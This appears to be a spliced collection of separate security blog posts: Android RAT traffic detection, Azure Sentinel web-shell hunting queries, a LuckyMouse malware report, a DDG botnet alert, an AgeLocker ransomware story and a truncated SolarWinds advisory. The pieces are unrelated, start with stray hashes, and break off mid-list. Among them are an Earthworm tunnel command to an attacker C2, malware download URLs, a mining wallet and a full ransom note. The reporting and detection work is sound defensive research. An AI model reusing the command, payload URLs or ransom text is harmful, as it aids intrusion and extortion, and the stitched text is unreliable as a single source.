8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 **SHA1** 656c4d285ea518d90c1b669b79af475db31e30b1 e1d689bf92ff338752b8ae5a2e8d75586ad2b67b ## About the Author **Tom Fakterman** Tom Fakterman, Cyber Security Analyst with the Cybereason Nocturnus Research Team, specializes in protecting critical networks and incident response. Tom has experience in researching malware, computer forensics, and developing scripts and tools for automated cyber investigations.
# Capturing and Detecting AndroidTester Remote Access Trojan with the Emergency VPN Stratosphere IPS September 21, 2021 Mobile remote access trojans, or RATs, are malicious programs that allow attackers to fully control a mobile device. This means the person controlling the malware can access information on the phone, including SMS, pictures, and messaging applications, and also steal or implant files on the phone. RATs are precision tools used to track and gather information about a person. In this blog post, we show how the Emergency VPN can help identify RAT infections on Android phones. The images and network traffic included in this blog post are part of the original research by Civilsphere researcher Kamila Babayeva on the Android Mischief Dataset. ## Android Tester Remote Access Trojan AndroidTester is a RAT for Android that has been around since approximately 2020 and is believed to be a variation of another RAT known as SpyNote. Among its functionalities, the RAT can access files, SMS messages, calls, contacts, locations, accounts, applications, and allows access to the shell, microphone, camera, keylogs, settings, and other functionalities. Once the phone is infected with the RAT, the attacker has complete access to the phone. The RAT can list all the files and all the installed applications. ## Capturing the Android Tester RAT with the Emergency VPN The Emergency VPN is a service that provides a free security assessment of a phone’s network traffic to determine if the device is infected, under attack, or compromised. The Emergency VPN works like any other VPN, with the addition that once you connect to the Emergency VPN, our team will capture the network traffic generated by the device to analyze it and find potential security threats. To capture the behavior of the AndroidTester RAT, we connected a Nokia Phone with Android 10 to our Emergency VPN and then infected the device with AndroidTester v.6.4.6. The Nokia Phone was remotely controlled like a real attacker would do, stealing information, adding and deleting contacts, and locating the device. During this time, the Emergency VPN was active, and the network connections through the VPN were captured and then analyzed by our analysts to identify if there were malicious connections. ## Detecting the AndroidTester RAT with the Emergency VPN The Emergency VPN captures and stores the network traffic in a PCAP file. This file contains all the network connections the device made using the VPN and is the primary source for analysis that our researchers use to find malware infections. In this session, the Emergency VPN was used for 1.2 hours, resulting in 80MB of network traffic captured. With this data, we proceeded to perform our analysis. In this investigation, we focused on three things to detect the malware infection: 1. **Unusual data upload**: Is the device uploading (a lot of) data to unusual services? 2. **Periodic connections**: Are there network connections that appear not to be human? 3. **Data leaks**: Is there any personal information being leaked on the network? The first thing we usually look at is unusual data uploads. Most users are data consumers, generally downloading more data than they send. This quick analysis highlighted one suspicious connection to a server not associated with any well-known service, where the device uploaded 43MB. This connection is suspicious because the service is not known, the device uploads 43MB of data, and compared to the other activities on the device, this is an outlier. However, this alone is not enough to classify this connection as malicious, so we investigate further. Now that we have a connection that we consider suspicious, we analyze it to determine if this connection may have been generated by a human or a program. When humans browse the internet or use applications, we rarely do it in a periodic and automated fashion. Computers, on the other hand, do. The Stratosphere Linux IPS is a network analysis tool that allows us to quickly analyze if a connection is periodic. The connection to this server is periodic, does not have an associated DNS name, and the data transfer occurs over a non-standard port (1337). All of these individual findings show us that this connection appears more and more suspicious. We can examine the content of the connection, and if the traffic is not encrypted, we can see if there is anything else pointing out if this connection is malicious. Upon examination, we find the attacker command and the device response sending the mobile phone number and name over the network. With all the information gathered, our researchers will use existing threat intelligence and their advanced knowledge of traffic analysis to try to associate the traffic with a specific malware family whenever possible to facilitate the risk assessment and remediation steps taken by users. ## How to Avoid Getting Infected by RATs These are our recommendations to stay safe: - Install new apps only from the Google Play Store and trusted developers. - The Google Play Protect is enabled by default; keep it enabled at all times. - Click only on links sent by people you know and trust. When in doubt, do not click. - Download and open attachments sent only by known and trusted contacts. When in doubt, do not download and do not open. - Keep only the essential applications installed on the phone for maximum safety. - Never leave your phone unattended or unlocked, even in trusted spaces. - Never share your phone PIN or Pattern, even with loved ones. Remember that you can use the service ShouldIClick to check links before clicking and see its content without visiting the site directly on your phone. Get started using the Emergency VPN.
# Web Shell Threat Hunting with Azure Sentinel and Microsoft Threat Protection In this blog, we use Azure Sentinel to enrich the investigation of endpoint web shell alerts from Microsoft Defender Advanced Threat Protection (MDATP) by correlating with additional data sources, such as W3CIIS log. We then show how Azure Sentinel’s Security Orchestration Automation and Response (SOAR) capabilities can be used to automatically develop and share new insights from these logs back with MDATP, triggered by one of its own alerts. A ‘web shell’ is a persistence mechanism and backdoor often leveraged by attackers on web servers. Usually, this involves an attacker writing a script to a web application directory and using it to execute commands from a remote location. In the last 18 months, the profile of web shell-based attacks has increased, due in part to a number of vulnerabilities reported in web applications such as CVE-2019-0604 or CVE-2019-16759. Multiple threat actors have also been seen to leverage web shells in recent campaigns; Microsoft has reported on GALLIUM and other groups earlier in the year. Web shells are an attractive remote access method for attackers since they often sit on internet-facing infrastructure, and their short content length can make writing anti-virus signatures for them difficult. The scenario below has been created to form the basis of our investigation and enrichment. An attacker will first exploit CVE-2019-0604, a patched SharePoint vulnerability, to place a web shell file on the server. The attacker will then leverage the shell to copy itself into another directory to provide a redundant backdoor. ## Investigation Focus Areas We will focus our investigation on two areas: 1. **Web Shell Installation**: A web shell file is placed on the server, and the code it contains or the behaviors it exhibits result in an MDATP alert. In this scenario, the alert will contain details of the potential shell (e.g., `c:\mywebapp\webshell.aspx`). 2. **Web Shell Activity**: The web server executes a series of suspicious commands that look like they might be web shell activity, resulting in an MDATP alert. In this scenario, the alert will contain details of the suspicious processes executed. ### Connecting the Data Sources MDATP alerts can be connected to Azure Sentinel using the built-in connector. Once enabled, alerts are written to the SecurityAlert table. The evidence associated with an alert in this table can be found in the ‘Entities’ field. This is where we’ll need to look to extract the details of suspicious files and processes. Additional visibility into web servers can be enabled by configuring the collection of web server logs in Azure Sentinel. Although in this example we discuss collection from IIS web servers, data could also be collected from other server technologies such as Apache or Tomcat to enable similar investigations. In Azure Sentinel, the W3CIIS table contains details of requests made to the web server, including the source IP, the request page, and the user agent used. ### Investigating the Alerts and Generating New Insights By connecting MDATP alerts and relevant data sources to Azure Sentinel, we can gain additional insights and enrich our investigation. In the case of a web shell, we want to be able to answer questions such as how it got there and where the attack came from. Acting against the web shell alone may provide a highly motivated attacker with a window of opportunity to start diversifying their access, but by acting against the web shell with MDATP in parallel to identifying the attacker’s IP and user agent in Azure Sentinel, a more developed picture of the attacks can be formed. #### Web Shell Installation In the attack scenario, there are two instances where a web shell file is placed onto the server: when the attacker uses `Picker.aspx` to deploy the initial shell and when the attacker copies the file into a new directory. Both actions trigger MDATP alerts for the web shell file, which contain a filename for the shell that we can further investigate. The first step is to extract web script filenames from alerts in the Azure Sentinel SecurityAlerts table. The information is stored in a JSON entity, and we need to parse that to extract its name and location. ```kusto let timeWindow = 3d; let scriptExtensions = dynamic([".php", ".jsp", ".js", ".aspx", ".asmx", ".asax", ".cfm", ".shtml"]); SecurityAlert | where TimeGenerated > ago(timeWindow) | where ProviderName == "MDATP" | extend alertData = parse_json(Entities) | mvexpand alertData | where alertData.Type == "file" | where alertData.Name has_any(scriptExtensions) | extend FileName = tostring(alertData.Name), Directory = tostring(alertData.Directory) | project TimeGenerated, FileName, Directory ``` The alert has been parsed to provide the file name that triggered the alert, ‘fonts.aspx’, and the location of the file. The web shell has been installed on a SharePoint server and written to the publicly accessible ‘Template\Layouts’ directory. We can now expand our Kusto query to join the extracted file with the W3CIISLog table and find details about web requests that were made to it. ```kusto | join ( W3CIISLog | where TimeGenerated > ago(timeWindow) | where csUriStem has_any(scriptExtensions) | extend splitUriStem = split(csUriStem, "/") | extend FileName = splitUriStem[-1] | summarize StartTime=min(TimeGenerated), EndTime=max(TimeGenerated) by AttackerIP=cIP, AttackerUserAgent=csUserAgent, SiteName=sSiteName, ShellLocation=csUriStem, tostring(FileName) ) on FileName | project StartTime, EndTime, AttackerIP, AttackerUserAgent, SiteName, ShellLocation ``` Because only the attacker knows the location of the web shell, we can be confident that requests for it in W3CIIS log are malicious. The results of the query above will provide indicators for the potential attacker - the attacker IP address and user agent. Using these indicators, we can investigate other actions the attacker has taken on the web server. Some of these follow-on queries have been automated in a Notebook covered later in the post, but first, we will explore what can be achieved if the alert doesn't provide the web shell filename. #### Web Shell Activity In the example scenario, the attacker uses the web shell to execute a command that copies itself to a backup location. Multiple MDATP alerts may be received when suspicious commands are executed by an attacker through their web shell. In order to capture all alerts for web shell activity, we will look for those that implicate the IIS worker process – `w3wp.exe`, by searching the evidence in the ‘Entities’ field. For the purposes of our investigation, we can be confident that alerts involving `w3wp.exe` are related to web shells. ```kusto let timeRange = 3d; let alerts = SecurityAlert | where TimeGenerated > ago(timeRange) | extend alertData = parse_json(Entities), recordGuid = new_guid(); let shellAlerts = alerts | where ProviderName == "MDATP" | mvexpand alertData | where alertData.Type == "file" and alertData.Name == "w3wp.exe" | distinct SystemAlertId | join kind=inner (alerts) on SystemAlertId; ``` Due to the behavioral nature of the detection, the alerts do not provide the web shell file name; we need to consider another method of correlating them with the W3CIISLog table. Here we will use the time of command execution in the SecurityAlert table to collect linked web request events from the W3CIISLog table, which will give us some candidate files to investigate. ```kusto //Script file extensions to match on, can be expanded for your environment let scriptExtensions = dynamic([".php", ".jsp", ".js", ".aspx", ".asmx", ".asax", ".cfm", ".shtml"]); let alldata = shellAlerts | mvexpand alertData | extend Type = alertData.Type; //Collect alerts that match our shell criteria let filedata = alldata | extend id = tostring(alertData.$id) | extend ImageName = alertData.Name | where Type == "file" and ImageName != "w3wp.exe" | extend imagefileref = id; //Collect command line and execution data from the alert let commanddata = alldata | extend CommandLine = tostring(alertData.CommandLine) | extend creationtime = tostring(alertData.CreationTimeUtc) | where Type =~ "process" | where isnotempty(CommandLine) | extend imagefileref = tostring(alertData.ImageFile.$ref); //Collect information about the host where the command was executed let hostdata = alldata | where Type =~ "host" | project HostName = tostring(alertData.HostName), DnsDomain = tostring(alertData.DnsDomain), SystemAlertId | distinct HostName, DnsDomain, SystemAlertId; //Now we have extracted the file and command line information from the MDATP JSON object, re-combine them filedata | join kind=inner (commanddata) on imagefileref | join kind=inner (hostdata) on SystemAlertId | project DisplayName, recordGuid, TimeGenerated, ImageName, CommandLine, HostName, DnsDomain ``` When attackers gain initial access, they often propagate their web shells into other directories for redundancy and/or to bypass restrictions the web server implements on code executing from the IIS web root. If they do this via a shell command, the name of the shell will appear on the command line. We can extract this value and place it in a column “PossibleShell”. ```kusto | extend PossibleShell = iff(CommandLine has_any(scriptExtensions), extract(@'([a-zA-Z0-9\-\_]+\.[php|jsp|js|aspx|asmx|asax|cfm|shtml]+)(?:\s|"|$)', 1, CommandLine), "n/a") ``` We can now expand the query to find the IP address and user agent of our attacker based on the time of the suspicious command execution. By generating a time key, we can join the SecurityAlert and W3CIISLog tables. This join will allow us to extract access to script files on the server during a 1-minute window of the command executing – this will provide us with possible web shell files and which client IPs and user agents were accessing them at the time. ```kusto let lookupWindow = 1m; let lookupBin = lookupWindow / 2.0; let distinctIpThreshold = 3; let commandKeyedData = filedata | join kind=inner (commanddata) on imagefileref | join kind=inner (hostdata) on SystemAlertId | project recordGuid, TimeGenerated, ImageName, CommandLine, TimeKey = bin(TimeGenerated, lookupBin), HostName, DnsDomain | extend Start = TimeGenerated; //Baseline page access by unique IP to later limit results let baseline = W3CIISLog | where TimeGenerated > ago(timeRange) | project-rename SourceIP=cIP, PageAccessed=csUriStem | summarize dcount(SourceIP) by PageAccessed | where dcount_SourceIP <= distinctIpThreshold; // Time key join malicious command with web log to find correlated events commandKeyedData | join kind=inner ( W3CIISLog | where TimeGenerated > ago(timeRange) | where csUriStem has_any(scriptExtensions) | extend splitUriStem = split(csUriStem, "/") | extend FileName = splitUriStem[-1] | extend firstDir = splitUriStem[-2] | extend TimeKey = range(bin(TimeGenerated-lookupWindow, lookupBin), bin(TimeGenerated, lookupBin), lookupBin) | mv-expand TimeKey to typeof(datetime) | summarize StartTime=min(TimeGenerated), EndTime=max(TimeGenerated) by Site=sSiteName, HostName=sComputerName, AttackerIP=cIP, AttackerUserAgent=csUserAgent, csUriStem, filename=tostring(FileName), tostring(firstDir), TimeKey ) on TimeKey, HostName | where (StartTime - EndTime) between (0min .. lookupWindow) | extend attackerP = pack(AttackerIP, AttackerUserAgent) | summarize Site=makeset(Site), Attacker=make_bag(attackerP) by csUriStem, filename, tostring(ImageName), CommandLine, HostName | join kind=inner (baseline) on $left.ShellLocation == $right.PageAccessed ``` As we can see, the query was able to successfully link the commands that were executed through a potential web shell on the server, allowing us to get the attacker's IP address and their user agent for follow-on queries. ### Building Out the Investigation Using Jupyter Notebooks Jupyter notebooks are a great way to pull these investigation steps together in one place for analysis. If you are new to Jupyter notebooks and would like to understand how it can help with Azure Sentinel investigations, Ian Hellen wrote a series of blogs covering the topic. In the example below, we built a notebook wrapping each of these steps into a single analysis flow and have added some additional analytics to help understand what the attacker may have been doing on your server. The notebook uses the Kusto client built into MSTICPy to enable it to communicate directly with your LogAnalytics server; we also use other MSTICPy dependencies to manipulate and investigate the data we recover. If you do not have MSTICPy configured in your environment already, then go ahead and “pip install msticpy”. More detailed instructions about installation and setup can be found in the documentation. Upon loading into the notebook, you will see a number of instructions that cover its use. Begin by importing dependencies. Then configure, connect, and authenticate with your LogAnalytics instance. Once configured, the notebook provides two different investigations to choose from, matching the two scenarios we discussed earlier in the post. You can investigate alerts that are based on a web shell file being detected or you can begin an investigation into alerts where suspicious command execution from a likely web shell has been detected. Each investigation will automate the previous queries and prepare the data for further enrichment in the notebook. To investigate a suspicious file alert, you will start with the cell “Begin File Investigation” to be presented with the option to choose which potential web shell file you would like to investigate. The cell will automatically retrieve MDATP alert entities from your server, automating the manual hunting queries we executed earlier. To investigate a suspicious command execution alert, you must first select the command you wish to investigate. Running the “Begin Command Investigation” cell will produce a list of suspicious commands detected by MDATP for you to choose from; again, this information will be pulled directly from your server. You will need to select a GUID associated with the command you wish to investigate. Regardless of the type of alert you chose to investigate (file or command), we now have candidate files to investigate. We can enrich them with access information to provide us with a potential attacker IP and user agent. When dealing with a rapidly evolving incident, security teams can now act not only against the web shell but also the IP and user agent selectors generated that can be used to block or further investigate the attacker. We are in a position where we can choose to remove the attacker’s access in parallel to the web shell removal. This effectively switches the focus of our investigation to the attacker and not the tools they have used. ### Providing Insights Back to MDATP By writing an analytic query in Azure Sentinel, we can automate the generation of some of these insights. When written as an analytic, the query can be scheduled to run periodically. It extracts web shell files from MDATP alerts over the last hour, correlates them with historic data from the W3CIIS log, and creates a new incident enriched with the details of attacks leveraging the shell, including the IP address of the attacker. ```kusto let alertTimeWindow = 1h; let logTimeWindow = 7d; let scriptExtensions = dynamic([".php", ".jsp", ".js", ".aspx", ".asmx", ".asax", ".cfm", ".shtml"]); let alertData = SecurityAlert | where TimeGenerated > ago(alertTimeWindow) | where ProviderName == "MDATP" | extend alertData = parse_json(Entities) | mvexpand alertData; let fileData = alertData | where alertData.Type =~ "file" | where alertData.Name has_any(scriptExtensions) | extend FileName = tostring(alertData.Name), Directory = tostring(alertData.Directory); let hostData = alertData | where alertData.Type =~ "host" | project HostName = tostring(alertData.HostName), DnsDomain = tostring(alertData.DnsDomain), SystemAlertId | distinct HostName, DnsDomain, SystemAlertId; let webshellData = fileData | join kind=inner (hostData) on SystemAlertId | project TimeGenerated, FileName, Directory, HostName, DnsDomain; webshellData | join ( W3CIISLog | where TimeGenerated > ago(logTimeWindow) | where csUriStem has_any(scriptExtensions) | extend splitUriStem = split(csUriStem, "/") | extend FileName = splitUriStem[-1], HostName = sComputerName | summarize count(), StartTime=min(TimeGenerated), EndTime=max(TimeGenerated), RequestUserAgents=make_set(csUserAgent), ReqestMethods=make_set(csMethod), RequestStatusCodes=make_set(scStatus), RequestCookies=make_set(csCookie), RequestReferers=make_set(csReferer), RequestQueryStrings=make_set(csUriQuery) by AttackerIP=cIP, SiteName=sSiteName, ShellLocation=csUriStem, tostring(FileName), HostName ) on FileName, HostName | project StartTime, EndTime, AttackerIP, RequestUserAgents, SiteName, ShellLocation, ReqestMethods, RequestStatusCodes, RequestCookies, RequestReferers, RequestQueryStrings, RequestCount = count_ | extend timestamp=StartTime, IPCustomEntity = AttackerIP ``` When creating the analytic, as part of Azure Sentinel’s Security Orchestration Automation and Response (SOAR) capabilities, we can also specify an automated response - a playbook to run when incidents are generated. This playbook extracts IP Address information from the enriched incidents created by our analytic, calls the MDATP indicator API, and submits them as custom IoCs for ‘AlertAndBlock’. Once submitted, MDATP will create new alerts where this IP address is observed in the environment and block endpoints from connecting to it for 90 days. ### Summary By connecting MDATP alerts and relevant log sources to Azure Sentinel, we combined signals to further investigate web shell installation and activity alerts and gained additional high-value insights – the attacker IP address and user agent. Using Jupyter notebooks, we performed an investigation based upon these insights to build out the big picture of the intrusion and identify the vulnerability that allowed the web shell to be installed. Using Sentinel’s SOAR capabilities, we went further and automated the generation of these insights, sharing them back with MDATP through the indicator API for further action – such as new alerting and blocking.
# LuckyMouse Signs Malicious NDISProxy Driver with Certificate of Chinese IT Company **Authors**: GReAT ## What Happened? Since March 2018, we have discovered several infections where a previously unknown Trojan was injected into the `lsass.exe` system process memory. These implants were injected by the digitally signed 32- and 64-bit network filtering driver NDISProxy. Interestingly, this driver is signed with a digital certificate that belongs to Chinese company LeagSoft, a developer of information security software based in Shenzhen, Guangdong. We informed the company about the issue via CN-CERT. The campaign described in this report was active immediately prior to a Central Asian high-level meeting, and we suppose that the actor behind it still follows a regional political agenda. ## Which Malicious Modules Are Used? The malware consists of three different modules: 1. A custom C++ installer that decrypts and drops the driver file in the corresponding system directory, creates a Windows autorun service for driver persistence, and adds the encrypted in-memory Trojan to the system registry. 2. A network filtering driver (NDISProxy) that decrypts and injects the Trojan into memory and filters port 3389 (Remote Desktop Protocol, RDP) traffic to insert the Trojan’s C2 communications into it. 3. A last-stage C++ Trojan acting as an HTTPS server that works together with the driver. It waits passively for communications from its C2, with two possible communication channels via ports 3389 and 443. These modules allow attackers to silently move laterally in the infected infrastructure but don’t allow them to communicate with an external C2 if the new infected host only has a LAN IP. Because of this, the operators used an Earthworm SOCKS tunneler to connect the LAN of the infected host to the external C2. They also used the Scanline network scanner to find file shares (port 135, Server Message Block, SMB) which they use to spread malware with administrative passwords compromised with keyloggers. We assess with high confidence that NDISProxy is a new tool used by LuckyMouse. Kaspersky Lab products detect the described artifacts. For more information, please contact: [email protected]. ## How Does It Spread? We detected the distribution of the 32-bit dropper used for this campaign among different targets by the end of March 2018. However, we didn’t observe any spear phishing or watering hole activity. We believe the operators spread their infectors through networks that were already compromised instead. ## How Does It Work? ### Custom Installer - **Installer MD5 hash**: - dacedff98035f80711c61bc47e83b61d (2018.03.29 07:35:55, 572244 bytes, 32 bits) - 9dc209f66da77858e362e624d0be86b3 (2018.03.26 04:16:00, 572244 bytes, 32 bits) - 3cbeda2c5ac41cca0b0d60376a2b2511 (2018.03.26 04:16:00, 307200 bytes, 32 bits) The initial infectors are 32-bit portable executable files capable of installing 32-bit or 64-bit drivers depending on the target. The installer logs all the installation process steps in the `load.log` file within the same directory. It checks if the OS is Windows Vista or above (major version equal to 6 or higher) and decrypts its initial configuration using the DES (Data Encryption Standard) algorithm. The set of well-known port numbers (HTTP, HTTPS, SMB, POP3S, MSSQL, PPTP, and RDP) in the configuration is not used, which along with the “[test]” strings in messages suggests this malware is still under development. The installer creates a semaphore (name depending on configuration) `Global\Door-ndisproxy-mn` and checks if the service (name also depends on configuration) `ndisproxy-mn` is already installed. If it is, the dropper writes “door detected” in `load.log`. The autorun Windows service running NDISProxy is the “door” in developer terms. The installer also decrypts (using the same DES) the shellcode of the last stage Trojan and saves it in three registry values named `xxx0`, `xxx1`, `xxx2` in key `HKLM\SOFTWARE\Classes\32ndisproxy-mn` (or `64ndisproxy-mn` for 64-bit hosts). The encrypted configuration is saved as the value `filterpd-ndisproxy-mn` in the registry key `HKCR\ndisproxy-mn`. The installer creates the corresponding autostart service and registry keys. The “Altitude” registry value (unique ID for the minifilter driver) is set to 321000, which means “FSFilter Anti-Virus” in Windows terms. ### NDISProxy Network Filtering Driver - **Driver MD5 hash**: - 8e6d87eadb27b74852bd5a19062e52ed (2018.03.29 07:33:58, 40400 bytes, 64 bits) - d21de00f981bb6b5094f9c3dfa0be533 (2018.03.29 07:33:52, 33744 bytes, 32 bits) - a2eb59414823ae00d53ca05272168006 (2018.03.26 04:15:28, 40400 bytes, 64 bits) - 493167e85e45363d09495d0841c30648 (2018.03.26 04:15:21, 33744 bytes, 32 bits) - ad07b44578fa47e7de0df42a8b7f8d2d (2017.11.08 08:04:50, 241616 bytes, 64 bits) This digitally signed driver is the most interesting artifact used in this campaign. The network filtering modules serve two purposes: first, they decrypt and inject the RAT; second, they set its communication channel through RDP port 3389. The drivers are signed with a digital certificate issued by VeriSign to LeagSoft, a company developing information security software such as data loss prevention (DLP) solutions. This driver makes extensive use of third-party publicly available C source code, including from the Blackbone repository available at GitHub. ### In-Memory C++ Trojan - **SHA256**: c69121a994ea8ff188510f41890208625710870af9a06b005db817934b517bc1 - **MD5**: 6a352c3e55e8ae5ed39dc1be7fb964b1 - **Compiled**: 2018.03.26 04:15:48 (GMT) - **Type**: I386 Windows GUI DLL - **Size**: 175616 Please note this Trojan exists in memory only; the data above is for the decrypted Windows registry content without the initial shellcode. This RAT is decrypted by the NDISProxy driver from the system registry and injected into the `lsass.exe` process memory. Code starts with a shellcode – instead of typical Windows portable executable files loader, this malware implements memory mapping by itself. This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as `CMFile`, `CMProcess`, `TFileDownload`, `TDrive`, `TProcessInfo`, `TSock`, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. The Trojan is an HTTP server, allowing LAN connection. It uses a SOCKS tunneler to communicate with the C2. This Trojan is used by attackers to gather a target’s data, make lateral movements, and create SOCKS tunnels to their C2 using the Earthworm tunneler. This tool is publicly available and popular among Chinese-speaking actors. Given that the Trojan is an HTTPS server itself, we believe that the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands. ## Who’s Behind It and Why? We found that this campaign targeted Middle Asian government entities. We believe the attack was highly targeted and was linked to a high-level meeting. We assess with high confidence that the Chinese-speaking LuckyMouse actor is responsible for this new campaign using the NDISProxy tool described in this report. In particular, the choice of the Earthworm tunneler is typical for Chinese-speaking actors. Also, one of the commands used by the attackers (“-s rssocks -d 103.75.190[.]28 -e 443”) creates a tunnel to a previously known LuckyMouse C2. The choice of victims in this campaign also aligns with the previous interests shown by this actor. ## Consistent with Current Trends We have observed a gradual shift in several Chinese-speaking campaigns towards a combination of publicly available tools (such as Metasploit or CobaltStrike) and custom malware (like the C++ last stage RAT described in this report). We have also observed how different actors adopt code from GitHub repositories on a regular basis. All this combines to make attribution more difficult. This campaign appears to demonstrate once again LuckyMouse’s interest in Central Asia and the political agenda surrounding the Shanghai Cooperation Organization. ## Indicators of Compromise **File Hashes** **Droppers-installers** - 9dc209f66da77858e362e624d0be86b3 - dacedff98035f80711c61bc47e83b61d **Drivers** - 8e6d87eadb27b74852bd5a19062e52ed - d21de00f981bb6b5094f9c3dfa0be533 - a2eb59414823ae00d53ca05272168006 - 493167e85e45363d09495d0841c30648 - ad07b44578fa47e7de0df42a8b7f8d2d **Auxiliary** - Earthworm SOCKS tunneler and Scanline network scanner - 83c5ff660f2900677e537f9500579965 - 3a97d9b6f17754dcd38ca7fc89caab04 **Domains and IPs** - 103.75.190[.]28 - 213.109.87[.]58 **Semaphores** - Global\Door-ndisproxy-mn - Global\Door-ndisproxy-help - Global\Door-ndisproxy-notify **Services** - ndisproxy-mn - ndisproxy-help - ndisproxy-notify **Registry Keys and Values** - HKLM\SOFTWARE\Classes\32ndisproxy-mn - HKLM\SOFTWARE\Classes\64ndisproxy-mn - HKCR\ndisproxy-mn\filterpd-ndisproxy-mn - HKLM\SOFTWARE\Classes\32ndisproxy-help - HKLM\SOFTWARE\Classes\64ndisproxy-help - HKCR\ndisproxy-mn\filterpd-ndisproxy-help - HKLM\SOFTWARE\Classes\32ndisproxy-notify - HKLM\SOFTWARE\Classes\64ndisproxy-notify - HKCR\ndisproxy-mn\filterpd-ndisproxy-notify **Driver Certificate** A lot of legitimate LeagSoft products are signed with the following certificate. Please don’t consider all signed files as malicious. - **Subject**: ShenZhen LeagSoft Technology Co.,Ltd. - **Serial number**: 78 62 07 2d dc 75 9e 5f 6a 61 4b e9 b9 3b d5 21 - **Issuer**: VeriSign Class 3 Code Signing 2010 CA - **Valid to**: 2018-07-19 - Code injection - Cyber espionage - Drivers - Keyloggers - RAT Trojan - Targeted attacks
# Threat Alert: DDG 3013 is Out **Date:** August 1, 2018 DDG is a mining botnet mainly focusing on SSH, Redis databases, and OrientDB database servers. We captured the first DDG botnet on October 25, 2017, and subsequently released several reports. A recent report was released in June 2018, which reflected the newest version of DDG 3012 at that time. This morning, we noticed that DDG version 3013 came out. ## IoC **C2** 149.56.106.215:8000, Canada/CA Pierrefonds, "AS16276 OVH SAS" **Download URLs** hxxp://149.56.106.215:8000/i.sh hxxp://149.56.106.215:8000/static/3011/ddgs.i686 hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64 hxxp://149.56.106.215:8000/static/3012/ddgs.i686 hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64 hxxp://149.56.106.215:8000/static/3013/ddgs.i686 hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64 hxxp://149.56.106.215:8000/static/qW3xT hxxp://149.56.106.215:8000/static/qW3xT.1 hxxp://149.56.106.215:8000/static/qW3xT.2 **New mining pool agent** 104.197.211.117:443, United States/US, "AS15169 Google LLC" **Infect Method** Using mis-configured Redis in the same way as previous versions of DDGs. **Monetization method** Mining Mining Pool: Agent: 104.197.211.117 Wallet Address: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik **Activities** In the past 24 hours, our ScanMon reported 471 scan sources, mainly from China mainland.
# New AgeLocker Ransomware Uses Google's Utility to Encrypt Files A new and targeted ransomware named AgeLocker utilizes the 'Age' encryption tool created by a Google employee to encrypt victims' files. A consultant created a topic in the BleepingComputer forums about a new ransomware used in an attack against their client. After examining the encrypted files, it was discovered that a text header was added to each file that starts with the URL 'age-encryption.org.' An example of the text header appended to an encrypted file is below: ``` age-encryption.org/v1 -> X25519 O9LABKJJggKQAsCbCQzPQFz0XwOHXSljEJU2xwS3zHA Ildq7HXhtndUkpcHnz1+jnFjkpPK8wrVbDSbYXye2wg --- Rwz4uNO8q6DbP1gbGuSVIA7W2wUKNluxyvMHuAJNIyM ``` The URL age-encryption.org brings you to a GitHub repository for an encryption utility called 'Age' created by Filippo Valsorda, cryptographer, and Go security lead at Google. According to the Age manual, the utility was designed as a replacement for GPG to encrypt "files, backups, and streams." "This is a design for a simple file encryption CLI tool, Go library, and format. It’s meant to replace the use of gpg for encrypting files, backups, streams, etc. It’s called 'age', which might be an acronym for Actually Good Encryption, and it’s pronounced like the Japanese 上げ (with a hard g)." Instead of creating a ransomware that utilizes commonly used encryption algorithms such as AES+RSA, the threat actors behind AgeLocker appear to be using the Age command line tool to encrypt a victim's files. Ransomware decryption expert, Michael Gillespie, told BleepingComputer that Age uses the X25519 (an ECDH curve), ChaCha20-Poly1305, and HMAC-SHA256 algorithms, which makes it a very secure method to encrypt a file. BleepingComputer has reached out to Valsorda to see if he had any advice that can be offered to victims but has not heard back. It is not known how the threat actors are gaining access to victims' computers, but once they gain access to the system, they utilize the Age encryption tool to encrypt the victim's files. While encrypting data, a custom extension created with the victim's initials will be appended to each encrypted filename. In a first for ransomware infections, instead of creating ransom notes on the encrypted system, the attackers emailed the ransom demand to the victim. After the company's devices were encrypted in the reported attack, they received an email with a subject line of "[company name] security audit." This ransom note listed the devices encrypted by the ransomware and instructions on how to get payment information. --- Hello XXX and XXX, Unfortunately, a malware has infected your network and millions of files have been encrypted using a hybrid encryption scheme. File names encrypted too. Encrypted hosts are: - Storage: 1. XXX 2. XXX 3. XXX 4. XXX 5. XXX - Mac + external drives: 1. XXX? 2. XXX? 3. XXX 4. XXX 5. XXX 6. XXX You have to pay for decryption in Bitcoins. The price depends on how fast you write us. After payment, we will send you the tool (for mac and linux) that will decrypt all your files. **Free decryption as guarantee** Before paying, you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non-archived), and files should not contain valuable information (databases, backups, large excel sheets, etc.), file name shouldn't be changed. **How to obtain Bitcoins** The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. Also, you can find other places to buy Bitcoins and a beginners guide here. **Attention!** Do not rename encrypted files. Do not try to decrypt your data using third-party software; it may cause permanent data loss. Note: we can answer up to 6-9 hours because of another timezone. According to the victim, the threat actors are asking for 7 bitcoins, or approximately $64,500, to decrypt the files. Unfortunately, it does not appear possible to recover files encrypted by Age for free at this time.
# Customer Guidance on Recent Nation-State Cyber Attacks Note: We are updating as the investigation continues. Revision history listed at the bottom. This post contains technical details about the methods of the actor we believe was involved in recent nation-state cyber attacks, with the goal to enable the broader security community to hunt for activity in their networks and contribute to a shared defense against this sophisticated threat actor. Please see the Microsoft Product Protections and Resources section for additional investigative updates, guidance, and released protections. As we wrote in that blog, while these elements aren’t present in every attack, this is a summary of techniques that are part of the toolkit of this actor. - An intrusion through malicious code in the SolarWinds Orion product. This results in the attacker gaining a foothold in the network, which the attacker can use to gain elevated credentials. Microsoft Defender now has detections for these files. Also, see SolarWinds Security Advisory. - Once in the network, the intruder then uses the administrative permissions acquired through the on-premises compromise to gain access to the organization’s global administrator account and/or trusted SAML token signing certificate. This enables the actor to forge SAML tokens that impersonate any of the organization’s existing users and accounts, including highly privileged accounts. - 